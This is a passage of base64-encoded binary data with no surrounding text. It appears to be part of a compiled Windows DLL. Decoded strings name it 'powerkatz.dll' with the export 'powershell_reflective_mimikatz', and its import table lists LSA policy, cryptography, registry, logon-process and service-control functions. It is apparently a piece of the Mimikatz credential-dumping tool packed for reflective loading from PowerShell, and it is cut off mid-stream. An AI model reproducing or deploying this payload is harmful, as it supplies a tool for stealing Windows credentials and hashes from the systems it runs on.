cAEYBgAYZAsAGDQKABhyFHABGQoAGXQJABlkCAAZVAcAGTQGABkyFeABDwYAD1QJAA80CAAPUgtwARIIABJUCgASNAgAEjIO4AxwC2ABCgQACjQGAAoyBnABGAYAGGQHABg0BgAYMhRwARkKABl0DgAZZA0AGTQMABlyFfAT4BHAARQIABRkCAAUVAcAFDQGABQyEHABGQoAGXQNABlkDAAZVAsAGTQKABlyFeABHQwAHXQNAB1kDAAdVAsAHTQKAB1SGfAX4BXAASMNACPEMwAjdDIAI2QxACM0MAAjASwAGPAW0BRQAAABFAYAFDQNABRSDXAMYAtQARgIABhkFgAYNBUAGPIO4AxwC1ABJAoAJDQZACTSHfAb4BnQF8AVcBRgE1ABHwwAH3QXAB9kFQAfNBQAH9IY8BbgFNASwBBQARwMABxkFQAcVBMAHDQSAByyGPAW4BTQEsAQcAEXCAAXZA8AF1QOABc0DQAXkhNwASQKACQ0FAAkkh3wG+AZ0BfAFXAUYBNQAQgCAAhyBDABGAoAGGQUABhUEwAYNBIAGNIU8BLgEHABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGfAX4BXQAQoCAAoyBjABFAgAFGQKABRUCQAUNAgAFFIQcAEPBgAPZAkADzQIAA9SC3ABEwQAEzQGABMyD3ABFAoAFDQNABQyEPAO4AzQCsAIcAdgBlABCgQACjQIAApSBnABDwYAD1QJAA80CAAPUgtgASMNACN0IgAjZCEAIzQgACMBGgAY8BbgFNASwBBQAAABGQoAGTQWABnSFfAT4BHQD8ANcAxgC1ABHwkAH+Ib8BngF9AVwBNwEmARUBAwAAABGQoAGeQTABl0EgAZZBEAGTQQABnSFfABIwwAI2QZACNUGAAjNBYAI/Ic8BrgGNAWwBRwAQoEAAo0DgAKsgZwASIJACLiG/AZ4BfQFcATcBJgETAQUAAAAR8MAB90FgAfZBUAHzQUAB/SGPAW4BTQEsAQUAEeCgAeNBUAHrIa8BjgFtAUwBJwEWAQUAEVCAAVdA4AFWQNABU0DAAVkhHgARQGABRkDgAUNAwAFJIQcAESCAASVA8AEjQOABJyDuAMcAtgASAMACBkEwAgVBIAIDQRACCSHPAa4BjQFsAUcAEQBgAQZA0AEDQMABCSDHABFQgAFXQIABVkBwAVNAYAFTIR4AEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABGQgAGWQIABlUBwAZNAYAGTIVcAEiCgAidAsAImQKACJUCQAiNAgAIlIe4AEKBAAKNAwACpIGcAEQBgAQZAkAEDQIABBSDHABFAYAFDQRABSyDXAMYAtQAR0GAB00EwAdshZwFWAUUAEMBAAMNAsADHIIcAEGAgAGcgIwAQoEAAo0CQAKUgZwASAMACBkDwAgVA4AIDQMACBSHPAa4BjQFsAUcAEcBQAcYhjgFnAVUBQwAAABHAoAHGQYABw0FwAc8hLgENAOwAxwC1ABHgsAHmQmAB40JAAeAR4AEvAQ4A7ADHALUAAAARUIABV0CQAVZAcAFVQGABUyEeABCAIACJIEMAEmDQAmdEMAJmRCACY0QQAmAToAGPAW4BTQEsAQUAAAAQYCAAYyAjABDAQADDQMAAySCHABHgsAHmQZAB40GAAeARIAEvAQ4A7ADHALUAAAARsJABt0GAAbZBcAGzQWABsBFAAQUAAAARkKABlkEgAZNBEAGZIS8BDgDsAMcAtQARwLABzkHwAcdB4AHGQdABw0HAAcARoAFfAAAAEfCgAfNBgAH/IV8BPgEdAPwA1wDGALUAESBgASdBIAEjQRABLSC1ABIgoAIgEZABbwFOAS0BDADnANYAwwC1ABGQoAGXQLABlkCgAZVAkAGTQIABlSFeABEQYAETQNABFyDXAMYAtQARkKABl0EQAZZBAAGVQPABk0DgAZshXgARUIABV0CgAVZAkAFTQIABVSEeABHQwAHXQPAB1kDgAdVA0AHTQMAB1yGfAX4BXAARwMABxkEAAcVA8AHDQOABxyGPAW4BTQEsAQcAEjDQAjdCEAI2QgACM0HwAjARgAGPAW4BTQEsAQUAAAAQQBAARCAAABGAoAGGQRABhUEAAYNA4AGJIU8BLgEHAJHwkAH2QeAB8BGAAY8BbgFNASwBBwAACMbgIAAQAAAKerAAAjrgAAYCQEACOuAAABBgIABnICUAkMBAAMNA4ADLIIcIxuAgABAAAAqa4AAFivAABgJAQAWK8AAAkXBgAXNBIAF9IT8BFwEGCMbgIAAQAAAM+vAABusQAAYCQEAG6xAAABIw0AI8QdACN0HAAjZBsAIzQaACMBFgAY8BbgFFAAAAEWBAAWUhJwEWAQMAEXCAAXdA8AF2QOABc0DQAXkhBQARQIABRkCQAUVAcAFDQGABQyEHABBwIABwFJAAEEAQAEYgAAAQYCAAaSAjABIAwAIGQNACBUCwAgNAoAIDIc8BrgGNAWwBRwARgIABhkDgAYVA0AGDQMABiSFHABFAgAFGQJABRUCAAUNAcAFDIQcAEZCgAZNA8AGTIV8BPgEdAPwA1wDGALUAEWCgAWNA4AFlIS8BDgDtAMwApwCWAIUAETBgATNBQAE/IJ4AdgBlABHAsAHDQaABwBEgAQ8A7gDNAKwAhwB2AGUAAAASEKACEBGQAV8BPgEdAPwA1wDGALMApQARwLABw0IAAcARgAEPAO4AzQCsAIcAdgBlAAAAEoCwAoNCEAKAEWAB3wG+AZ0BfAFXAUYBNQAAABFAgAFGQOABRUDQAUNAwAFJIQcAEUCAAUZAsAFFQKABQ0CQAUUhBwARIIABJUEAASNA8AEpIO4AxwC2ABFQgAFXQIABVkBwAVNAYAFTIR8AEYCgAYZA8AGFQOABg0DQAYchTwEuAQcAEYCgAYZAwAGFQLABg0CgAYUhTwEuAQcAEOAgAOMgowAQwGAAw0EAAMsghwB2AGUAEcCwAcNB4AHAEWABDwDuAM0ArACHAHYAZQAAABDwYAD2QMAA80CwAPcgtwAQ8GAA80EAAPsghwB2AGUAEPBgAPNBIAD9IIcAdgBlABBAEABIIAAAEsDQAsxFVALHRUQCxkU0AsNFJALAFOQBjwFuAUUAAAAQsGAAtSB+AFcARgA1ACMAENBAANNBAADdIGUAEUBwAUNCoAFAEmAAhwB2AGUAAAARMIABM0FAAT0gzwCuAIcAdgBlABIQoAIQEpABXwE+AR0A/ADXAMYAswClABJg0AJnROACZkTQAmNEwAJgFGABjwFuAU0BLAEFAAAAEaCQAaZBkAGjQYABoBFAAO4AxwC1AAAAEhCgAhNBMAIZIa8BjgFtAUwBJwEWAQUAEMBAAMNAgADFIIcAEeCgAeNBAAHnIa8BjgFtAUwBJwEWAQUAEgCgAgNA4AIFIZ8BfgFdATwBFwEGAPUAEiCgAiASUAFvAU4BLQEMAOcA1gDDALUAETCAATNAwAE1IM4ArACHAHYAZQARIIABJyC/AJ4AfQBXAEYAMwAlABHAoAHDQWABzSFfAT4BHQD8ANcAxgC1ABEwgAEzQPABNSDOAKwAhwB2AGUAEWBgAWZAsAFjQKABZSEnABDgQADjQHAA4yCnABFggAFjQWABbyDPAK4AhwB2AGUAESBgASdAkAEjQIABJSC1ABFwgAF3QKABdkCQAXNAgAF1IQUAEPBgAPNAwAD3IIcAdgBlABGQoAGWQTABk0EgAZshLwEOAOwAxwC1ABIAsAIDQdACABFAAU8BLgENAOwAxwC2AKUAAAARUIABVkDQAVNAsAFVIO4AxwC1ABFwgAF3QRABdkDwAXNA4AF7IQUAEQBgAQZAsAEDQKABByDHABIgwAIsQXACJ0FgAiZBUAIjQUACLyGPAW4BRQARgJABg0HAAYARYADPAKwAhwB2AGUAAAARsJABt0HgAbZB0AGzQcABsBGgAQUAAAARcJABdkFwAXVBUAFzQUABcBEgAQcAAAARQHABQ0HAAUARgACHAHYAZQAAABGgoAGmQRABo0EAAakhPwEeAPwA1wDFABGQoAGWQTABk0EgAZshLwENAOwAxwC1ABGwoAG3QUABtkEwAbNBIAG9IU8BLgEFABGwsAG2QaABtUGQAbNBgAGwEUABTwEuAQcAAAARUIABVkDwAVNA4AFZIO4AxwC1ABHgsAHmQdAB40HAAeARYAEvAQ4A7ADHALUAAAASMLACPEIAAjdB8AIzQeACMBGgAY8BbgFFAAAAEaCQAaZBcAGjQWABoBEgAO4AxwC1AAAAEpCwApNCYAKQEeAB7wHOAa0BjAFnAVYBRQAAABHwsAH3QeAB9kHQAfNBwAHwEYABTgEsAQUAAAAScNACd0LgAnZC0AJzQsACcBJgAc8BrgGNAWwBRQAAABJAkAJHQhACRkIAAkNB4AJAEcABlQAAABGAgAGGQVABg0FAAY8g7gDHALUAEfCwAfNGgAHwFgABDwDuAM0ArACHAHYAZQAAABDwYAD2QNAA80DAAPkgtwAR8MAB90FwAfZBYAHzQVAB/SGPAW4BTQEsAQUAEaCQAaZCkAGjQoABoBJAAO4AxwC1AAAAEcDAAcZBIAHFQRABw0EAAckhjwFuAU0BLAEHABHwsAH3QgAB9kHwAfNB4AHwEaABTwEuAQUAAAARIGABI0FAAS8ghwB2AGUAEMBAAMNBAADNIIcAkXCQAXdEkAF2RIABcBRAAQ8A7gDMAAAIxuAgABAAAAxKwBAA+uAQBgJAQAD64BAAEKBAAKdAIABTQBAAEKAgAKcgYwARcIABdUCwAXNAoAF1IT4BFwEGABFQgAFWQNABU0CgAVUg7gDHALUAEZCgAZNBAAGVIV8BPgEdAPwA1wDGALUAESBgASdA8AEjQOABKyC1ABDQMADQE8AAZwAAABHQoAHQEfABHwD+AN0AvACXAIYAcwBlABCQIACZICUAEhCwAhNCQAIQEcABXwE+AR0A/ADXAMYAtQAAABGgIAGgEVAAEbCQAbdCsAG2QpABs0KAAbASYAEFAAAAEXAQAXogAAARgBABiiAAABGwkAG3QzABs0MgAbAS4AD+ANwAtQAAABHAsAHDQhABwBGAAQ8A7gDNAKwAhwB2AGUAAAAQYCAAbSAjABEggAElQLABI0CgASUg7gDHALYAEJAQAJ4gAAAR4LAB5kHwAeNB4AHgEYABLwEOAOwAxwC1AAAAEQBAAQNBIAEPIGUAERBgAR8gfgBXAEYAMwAlABGQoAGWQVABk0FAAZ0hLwEOAO0AxwC1ABFQgAFWQTABU0EAAVsg7gDHALUAENBAANNAoADXIGUAEfCwAfdCcAH2QmAB8BIAAT8BHgD9ANwAtQAAABHgsAHmQvAB40LgAeASgAEvAQ4A7QDHALUAAAASMNACPEGQAjdBgAI2QXACM0FgAjARIAGPAW4BRQAAABEgUAEnQUABIBEgAGUAAAARUIABVkDgAVNA0AFXIO4AxwC1ABBAEABMIAAAEVCAAVZBQAFTQTABXSDuAMcAtQARwKABxkGAAcNBcAHPIS8BDgDsAMcAtQARMIABNkDgATNA0AE3IP8A3gC3ABGwkAG3QiABtkIQAbNCAAGwEeABBQAAABFAcAFDQaABQBFgAIcAdgBlAAAAESBQASNC4AEgEsAAZQAAABDwMADwEUAARQAAABHAsAHDQuABwBJgAQ8A7gDNAKwAhwB2AGUAAAARcKABc0EQAXchDwDuAM0ArACHAHYAZQARUIABVkFAAVNBMAFdIO8AxwC1ABGwoAG3QQABtkDwAbNA4AG5IU8BLgEFABFwkAF2QaABdUGQAXNBgAFwEWABBwAAABGAcAGDQaABgBFgAMcAtgClAAAAEfCwAfdB4AH2QdAB80HAAfARgAFPAS4BBQAAABGgkAGmQgABo0HwAaARoADuAMcAtQAAABBwEAB2IAAAEaCAAadBQAGmQTABo0EgAa8hBQAR8MAB/EEwAfdBIAH2QRAB80EAAfshjwFuAUUAEbCQAbdBYAG2QVABs0FAAbARIAEFAAAAEgCgAgNBgAINIZ8BfgFdATwBFwEGAPUAEYCgAYZBIAGFQRABg0EAAYshTwEuAQcAEbCgAb5BMAG3QSABtkEQAbNBAAG9IUUAEXBwAXdCcAFzQmABcBJAALUAAAARcHABd0HQAXNBwAFwEaAAtQAAABEgUAEjQqABIBKAAGUAAAARMGABN0EQATNBAAE9IMUBEVCAAVdAkAFWQHABU0BgAVMhHgjG4CAAEAAABLXQIA2F0CALwkBAAAAAAAEQ8GAA9kCAAPNAYADzILcIxuAgABAAAAcl4CAJBeAgDTJAQAAAAAAAkaBgAaNA8AGnIW4BRwE2CMbgIAAQAAAOJeAgCyXwIA7yQEALJfAgABBgIABlICUAkEAQAEIgAAjG4CAAEAAADXYgIAZWMCACUlBABlYwIAAQIBAAJQAAABDQQADTQJAA0yBlABFQUAFTS6ABUBuAAGUAAAAQ0EAA00BwANMgZQAQAAAAEPBgAPZAUADzQEAA8SC3AZJgUAFTRVABUBUgAGUAAATBoEAIACAAAAAAAAAQAAAAEJAgAJMgUwAAAAAAEHAgAHAZsAAQAAAAEAAAABAAAAAQkCAAmyAlAZMgsAIWSrACE0qAAhAaIAEvAQ4A7ADHALUAAATBoEAAAFAAABGAoAGGQLABhUCgAYNAkAGDIU8BLgEHABGQoAGeQJABl0CAAZZAcAGTQGABkyFfABEggAElQMABI0CwASUg7gDHALYBkkBwASZKIAEjShABIBngALcAAATBoEAOAEAAAZKwwAHGQRABxUEAAcNA8AHHIY8BbgFNASwBBwTBoEADgAAAABDwYAD2QIAA80BwAPMgtwARAGABB0DgAQNA0AEJIM4BksCQAbNKgAGwGiAAzwCuAIcAdgBlAAAEwaBAAABQAAASIKACJ0CQAiZAgAIlQHACI0BgAiMh7gAQ8EAA90AgAKNAEAEQ8EAA80BgAPMgtwjG4CAAEAAADCewIAzHsCAD0lBAAAAAAAARMIABNUCgATNAkAEzIP4A1wDGABCgQACjQNAAqSBnAZHgYAD2QOAA80DQAPkgtwTBoEAEAAAAABFAgAFGQMABRUCwAUNAoAFHIQcBEPBAAPNAcADzILcIxuAgABAAAAQLcCAEq3AgCLJQQAAAAAABEUCAAUZA4AFDQMABRyEPAO4AxwjG4CAAIAAACetgIA5LYCAFglBAAAAAAAYbYCAPK2AgByJQQAAAAAABEPBAAPNAcADzILcIxuAgABAAAALrgCADi4AgCLJQQAAAAAAAEPBgAP5AMACnQCAAU0AQARFQgAFXQLABVkCgAVNAkAFVIR4IxuAgABAAAAIboCADe6AgCjJQQAAAAAAAEPBgAPZAsADzQKAA9yC3ABHwsAH3QiAB9kIQAfNCAAHwEcABTwEuAQUAAAGS0LAB90KAAfZCcAHzQmAB8BIgAU8BLgEFAAAEwaBAAAAQAAAVkOAFn0QwBR5EQAScRGAEFURwA2NEgADgFJAAdwBmAhCAIACNRFANAmAwA5KAMAMDQHACEAAADQJgMAOSgDADA0BwABGAoAGDQQABhSFPAS4BDQDsAMcAtgClABHAwAHGQOABxUDQAcNAwAHFIY8BbgFNASwBBwGTALAB80eAEfAW4BEPAO4AzQCsAIcAdgBlAAAEwaBABgCwAAARQIABRkDQAUVAwAFDQLABRyEHABFgoAFlQOABY0DQAWUhLwEOAOwAxwC2ABFAoAFDQPABRSEPAO4AzQCsAIcAdgBlABHAwAHGQNABxUDAAcNAsAHDIY8BbgFNASwBBwAR8NAB9kHwAfVB4AHzQcAB8BFgAY8BbgFNASwBBwAAABDAQADDQMAAxyCHAZHwUADTRtAA0BaAAGcAAATBoEADADAAABFwoAFzQQABdyEPAO4AzQCsAIcAdgBlABHQkAHcIW8BTgEtAQwA5wDWAMMAtQAAABDAIADHIIMAEQBAAQNAoAEHIMcAEYCAAYZA0AGFQLABg0CgAYchRwARwKABxkDwAcVA0AHDQMABxyGPAW4BRwAQUCAAU0AQABHwwAH3QRAB9kEAAfNA4AH3IY8BbgFNASwBBQARwMABxkEwAcVBIAHDQQABySGPAW4BTQEsAQcAEfDQAfZB0AH1QcAB80GgAfARQAGPAW4BTQEsAQcAAAGRkKABnkCQAZdAgAGWQHABk0BgAZMhXwjG4CAAIAAADbZAMAOWUDAM4lBAB4ZQMAv2QDAH5lAwDpJQQAAAAAAAEPBAAPNAYADzILcAESAgAScgtQAQsBAAtiAAARDwQADzQGAA8yC3CMbgIAAQAAANVoAwDfaAMAHyYEAAAAAAARHAoAHGQPABw0DgAcchjwFuAU0BLAEHCMbgIAAQAAAB5pAwByagMAAiYEAAAAAAAJBgIABjICMIxuAgABAAAA7G4DAPluAwABAAAA+W4DABkuCQAdZMQAHTTDAB0BvgAO4AxwC1AAAEwaBADgBQAAARIGABJkEwASNBEAEtILUAEZCgAZdA8AGWQOABlUDQAZNAwAGZIV4AEVBgAVZBAAFTQOABWyEXABDwIABjICUAEJAgAJcgJQEQ8EAA80BgAPMgtwjG4CAAEAAAC5fQMAyX0DAB8mBAAAAAAAEQ8EAA80BgAPMgtwjG4CAAEAAABxfQMAh30DAB8mBAAAAAAAEQ8EAA80BgAPMgtwjG4CAAEAAAARfQMAQX0DAB8mBAAAAAAAEQ8EAA80BgAPMgtwjG4CAAEAAAD5fQMAB34DAB8mBAAAAAAAARwMABxkFAAcVBMAHDQSAByyGPAW4BTQEsAQcBkcAwAOARgAAlAAAEwaBACwAAAAARkKABl0DwAZZA4AGVQNABk0DAAZkhXwAR0MAB10FQAdZBQAHVQTAB00EgAd0hnwF+AVwAEVCAAVZA4AFVQNABU0DAAVkhHgGSEIABJUDgASNA0AEnIO4AxwC2BMGgQAMAAAABEGAgAGMgJwjG4CAAEAAAANkgMAI5IDAO8mBAAAAAAAEQYCAAYyAjCMbgIAAQAAAC6UAwBFlAMAgyYEAAAAAAABHAsAHHQXABxkFgAcVBUAHDQUABwBEgAV4AAAAQ0CAA2SBlABBQIABXQBABEKBAAKNAgAClIGcIxuAgABAAAAWpsDANmbAwA5JgQAAAAAAAEIAQAIYgAAEQ8EAA80BgAPMgtwjG4CAAEAAAAJnQMAZJ0DAFImBAAAAAAAERsKABtkDAAbNAsAGzIX8BXgE9ARwA9wjG4CAAEAAAAqpAMAWqQDAGwmBAAAAAAAARcKABc0FwAXshDwDuAM0ArACHAHYAZQGSgKABo0GAAa8hDwDuAM0ArACHAHYAZQTBoEAHAAAAAZLQkAG1SQAhs0jgIbAYoCDuAMcAtgAABMGgQAQBQAABkxCwAfVJYCHzSUAh8BjgIS8BDgDsAMcAtgAABMGgQAYBQAABEPBAAPNAYADzILcIxuAgABAAAAmacDANmnAwBSJgQAAAAAABEGAgAGMgIwjG4CAAEAAABoqQMAlqkDADkmBAAAAAAAERkKABl0DAAZZAsAGTQKABlSFfAT4BHAjG4CAAEAAACrrQMAjK4DAIMmBAAAAAAAARQGABRkBwAUNAYAFDIQcBEVCAAVdAoAFWQJABU0CAAVUhHwjG4CAAEAAAAMrAMAWawDAIMmBAAAAAAAARQIABRkDwAUVA0AFDQMABSSEHAZKAgAGuQVABp0FAAaZBMAGvIQUEwaBABwAAAAEQoEAAo0BwAKMgZwjG4CAAEAAABuvAMAzLwDAJwmBAAAAAAAAQYCAAYyAlAZJQoAFlQRABY0EAAWchLwEOAOwAxwC2BMGgQAOAAAABkrBwAadPQAGjTzABoB8AALUAAATBoEAHAHAAARDwQADzQGAA8yC3CMbgIAAQAAACm1AwAytQMAHyYEAAAAAAARBgIABjICMIxuAgABAAAAnsIDALTCAwC1JgQAAAAAAAEHAQAHQgAAERAHABCCDPAK0AjABnAFYAQwAACMbgIAAQAAAG/EAwBpxQMAyyYEAAAAAAARDwQADzQGAA8yC3CMbgIAAQAAAN7CAwD0wgMAHyYEAAAAAAABDwYAD2QRAA80EAAP0gtwGS0NVR90FAAbZBMAFzQSABNTDrIK8AjgBtAEwAJQAABMGgQAWAAAABEKBAAKNAYACjIGcIxuAgABAAAAD84DACXOAwDvJgQAAAAAABktCgAcAfsADfAL4AnQB8AFcARgAzACUEwaBADABwAAARcGABdkCQAXNAgAFzITcAEYBgAYZAkAGDQIABgyFHABGAYAGFQHABg0BgAYMhRgGS0NNR90FAAbZBMAFzQSABMzDrIK8AjgBtAEwAJQAABMGgQAUAAAAAEVCQAVdAUAFWQEABVUAwAVNAIAFeAAABEbCgAbZAwAGzQLABsyF/AV4BPQEcAPcIxuAgABAAAA2+0DAAzuAwBsJgQAAAAAAAEJAQAJYgAAAAAAAAEAAAABIwsAI3QfACM0HgAjARgAGPAW4BTQEsAQUAAAEQoEAAo0DAAKkgZwjG4CAAEAAABj8AMAh/ADAAgnBAAAAAAAARIIABJUDAASNAoAElIO4AxwC2ABGAoAGGQNABhUDAAYNAsAGFIU8BLgEHABCgMACmgCAASiAAABGQoAGTQWABmyFfAT4BHQD8ANcAxgC1ABGQkAGWIV8BPgEdAPwA1wDGALUAowAAABEQkAEWIN8AvgCdAHwAVwBGADUAIwAAAJGQoAGXQLABlkCgAZNAkAGTIV8BPgEcCMbgIAAQAAADYRBAA/EQQAWycEAD8RBAAAAAAAAQQBAAQCAAAZJgkAGGgOABQBHgAJ4AdwBmAFMARQAABMGgQA0AAAAAEGAgAGEgIwAQsDAAtoBQAHwgAAARsIABt0CQAbZAgAGzQHABsyFFAJDwYAD2QJAA80CAAPMgtwjG4CAAEAAADaGQQA4RkEAFsnBADhGQQAAQIBAAIwAAABAAAACQoEAAo0BgAKMgZwjG4CAAEAAABtGwQAoBsEAJAnBACgGwQAAQgEAAhyBHADYAIwAAAAAAEEAQAEEgAAAQAAAAEEAQAEIgAAAAAAAAEAAAAAAAAAAAAAAByGb1YAAAAAEj8HAAEAAAABAAAAAQAAAAg/BwAMPwcAED8HAMTJAAAgPwcAAABwb3dlcmthdHouZGxsAHBvd2Vyc2hlbGxfcmVmbGVjdGl2ZV9taW1pa2F0egAAgEAHAAAAAAAAAAAAfE8HAAAwBADoQgcAAAAAAAAAAAAiUQcAaDIEAKhIBwAAAAAAAAAAAI5RBwAoOAQAAEcHAAAAAAAAAAAAwFEHAIA2BAAYRwcAAAAAAAAAAAD4UQcAmDYEADhHBwAAAAAAAAAAAMpSBwC4NgQAMEgHAAAAAAAAAAAADFMHALA3BACARwcAAAAAAAAAAABKVAcAADcEAFBIBwAAAAAAAAAAAA5VBwDQNwQAIEgHAAAAAAAAAAAAMFUHAKA3BACQSAcAAAAAAAAAAABmVQcAEDgEAGhDBwAAAAAAAAAAANxVBwDoMgQA+EcHAAAAAAAAAAAAXlYHAHg3BADgSAcAAAAAAAAAAAB4WAcAYDgEAJhDBwAAAAAAAAAAAIxdBwAYMwQAAAAAAAAAAAAAAAAAAAAAAAAAAACYSQcAAAAAAK5JBwAAAAAAvEkHAAAAAADQSQcAAAAAAORJBwAAAAAA9kkHAAAAAAAKSgcAAAAAAB5KBwAAAAAAMkoHAAAAAABCSgcAAAAAAFRKBwAAAAAAZkoHAAAAAAB2SgcAAAAAAIpKBwAAAAAAnkoHAAAAAACuSgcAAAAAAMZKBwAAAAAA2koHAAAAAADySgcAAAAAAARLBwAAAAAAFEsHAAAAAAAeSwcAAAAAACpLBwAAAAAAOksHAAAAAABWSwcAAAAAAGxLBwAAAAAAhEsHAAAAAACeSwcAAAAAALJLBwAAAAAAwksHAAAAAADSSwcAAAAAAORLBwAAAAAA9EsHAAAAAAAITAcAAAAAABZMBwAAAAAAKkwHAAAAAABCTAcAAAAAAFJMBwAAAAAAYkwHAAAAAAB0TAcAAAAAAIRMBwAAAAAAlkwHAAAAAACsTAcAAAAAAMZMBwAAAAAA2EwHAAAAAADoTAcAAAAAAP5MBwAAAAAAEk0HAAAAAAAmTQcAAAAAAEBNBwAAAAAAVE0HAAAAAABqTQcAAAAAAHxNBwAAAAAAjE0HAAAAAACeTQcAAAAAALxNBwAAAAAA2k0HAAAAAAD2TQcAAAAAAABOBwAAAAAAHE4HAAAAAAA4TgcAAAAAAEpOBwAAAAAAXk4HAAAAAAB4TgcAAAAAAJpOBwAAAAAArk4HAAAAAADETgcAAAAAAN5OBwAAAAAA/k4HAAAAAAAOTwcAAAAAACBPBwAAAAAANE8HAAAAAABMTwcAAAAAAF5PBwAAAAAAak8HAAAAAACaXQcAAAAAAAAAAAAAAAAAoE8HAAAAAAC4TwcAAAAAAMxPBwAAAAAA8E8HAAAAAAAUUAcAAAAAADJQBwAAAAAASFAHAAAAAABsUAcAAAAAAIpQBwAAAAAAnFAHAAAAAAC0UAcAAAAAANhQBwAAAAAA7lAHAAAAAAD+UAcAAAAAAIpPBwAAAAAAAAAAAAAAAADGVQcAAAAAALZVBwAAAAAAnlUHAAAAAACEVQcAAAAAAHJVBwAAAAAAAAAAAAAAAADMWQcAAAAAAGhgBwAAAAAAWGAHAAAAAABKYAcAAAAAAD5gBwAAAAAALmAHAAAAAAAaYAcAAAAAAAhgBwAAAAAA7l8HAAAAAADUXwcAAAAAAMhfBwAAAAAAvF8HAAAAAACqXwcAAAAAAJhfBwAAAAAAiF8HAAAAAAB2XwcAAAAAAGZfBwAAAAAAVl8HAAAAAABIXwcAAAAAAD5fBwAAAAAAMl8HAAAAAAAmXwcAAAAAABBfBwAAAAAA+l4HAAAAAADkXgcAAAAAANBeBwAAAAAAwl4HAAAAAACwXgcAAAAAAJ5eBwAAAAAAhl4HAAAAAABuXgcAAAAAAFZeBwAAAAAARF4HAAAAAAA6XgcAAAAAACxeBwAAAAAAHl4HAAAAAAASXgcAAAAAAOpdBwAAAAAA0l0HAAAAAADEXQcAAAAAAK5dBwAAAAAAcF0HAAAAAABeXQcAAAAAAEBdBwAAAAAAJF0HAAAAAAAQXQcAAAAAAPxcBwAAAAAA4lwHAAAAAADOXAcAAAAAALhcBwAAAAAAolwHAAAAAACIXAcAAAAAAHJcBwAAAAAAXlwHAAAAAABCXAcAAAAAACpcBwAAAAAADFwHAAAAAAD8WwcAAAAAAN5bBwAAAAAAylsHAAAAAAC8WwcAAAAAAKpbBwAAAAAAmlsHAAAAAACAWwcAAAAAAGpbBwAAAAAAXlsHAAAAAABOWwcAAAAAADxbBwAAAAAAKlsHAAAAAAAYWwcAAAAAAIJYBwAAAAAAkFgHAAAAAACoWAcAAAAAALRYBwAAAAAAwFgHAAAAAADMWAcAAAAAANpYBwAAAAAA4lgHAAAAAADyWAcAAAAAAARZBwAAAAAAElkHAAAAAAAiWQcAAAAAADJZBwAAAAAASlkHAAAAAABeWQcAAAAAAHJZBwAAAAAAhFkHAAAAAACSWQcAAAAAAKRZBwAAAAAAulkHAAAAAAB4YAcAAAAAANpZBwAAAAAA6lkHAAAAAAD8WQcAAAAAABBaBwAAAAAAIloHAAAAAAA2WgcAAAAAAEZaBwAAAAAAVloHAAAAAABoWgcAAAAAAHpaBwAAAAAAkFoHAAAAAACgWgcAAAAAALBaBwAAAAAAwloHAAAAAADSWgcAAAAAAOhaBwAAAAAA/loHAAAAAAAAAAAAAAAAAKxRBwAAAAAAnFEHAAAAAAAAAAAAAAAAANhRBwAAAAAA5FEHAAAAAADOUQcAAAAAAAAAAAAAAAAABFIHAAAAAAAaUgcAAAAAADpSBwAAAAAAVlIHAAAAAAByUgcAAAAAAIRSBwAAAAAAllIHAAAAAAC4UgcAAAAAAAAAAAAAAAAANFQHAAAAAAAWVAcAAAAAAP5TBwAAAAAA8FMHAAAAAAAYUwcAAAAAADRTBwAAAAAATlMHAAAAAADOUwcAAAAAALRTBwAAAAAApFMHAAAAAACSUwcAAAAAAF5TBwAAAAAAbFMHAAAAAACEUwcAAAAAAAAAAAAAAAAA5FUHAAAAAAAEVgcAAAAAADpWBwAAAAAAIlYHAAAAAAAAAAAAAAAAABpVBwAAAAAAAAAAAAAAAADWUgcAAAAAAOZSBwAAAAAA+lIHAAAAAAAAAAAAAAAAALZUBwAAAAAAmlQHAAAAAACEVAcAAAAAAGpUBwAAAAAAVlQHAAAAAADWVAcAAAAAAPhUBwAAAAAAAAAAAAAAAAA8VQcAAAAAAFJVBwAAAAAAAAAAAAAAAAB6UQcAAAAAAGJRBwAAAAAAUFEHAAAAAAAuUQcAAAAAAERRBwAAAAAAOFEHAAAAAAAAAAAAAAAAAGxWBwAAAAAAgFYHAAAAAACgVgcAAAAAALhWBwAAAAAA1FYHAAAAAADsVgcAAAAAAARXBwAAAAAAFFcHAAAAAAAwVwcAAAAAAExXBwAAAAAAYFcHAAAAAAB2VwcAAAAAAIpXBwAAAAAAnlcHAAAAAAC4VwcAAAAAANpXBwAAAAAA9FcHAAAAAAAUWAcAAAAAACZYBwAAAAAAPFgHAAAAAABSWAcAAAAAAGZYBwAAAAAAAAAAAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwA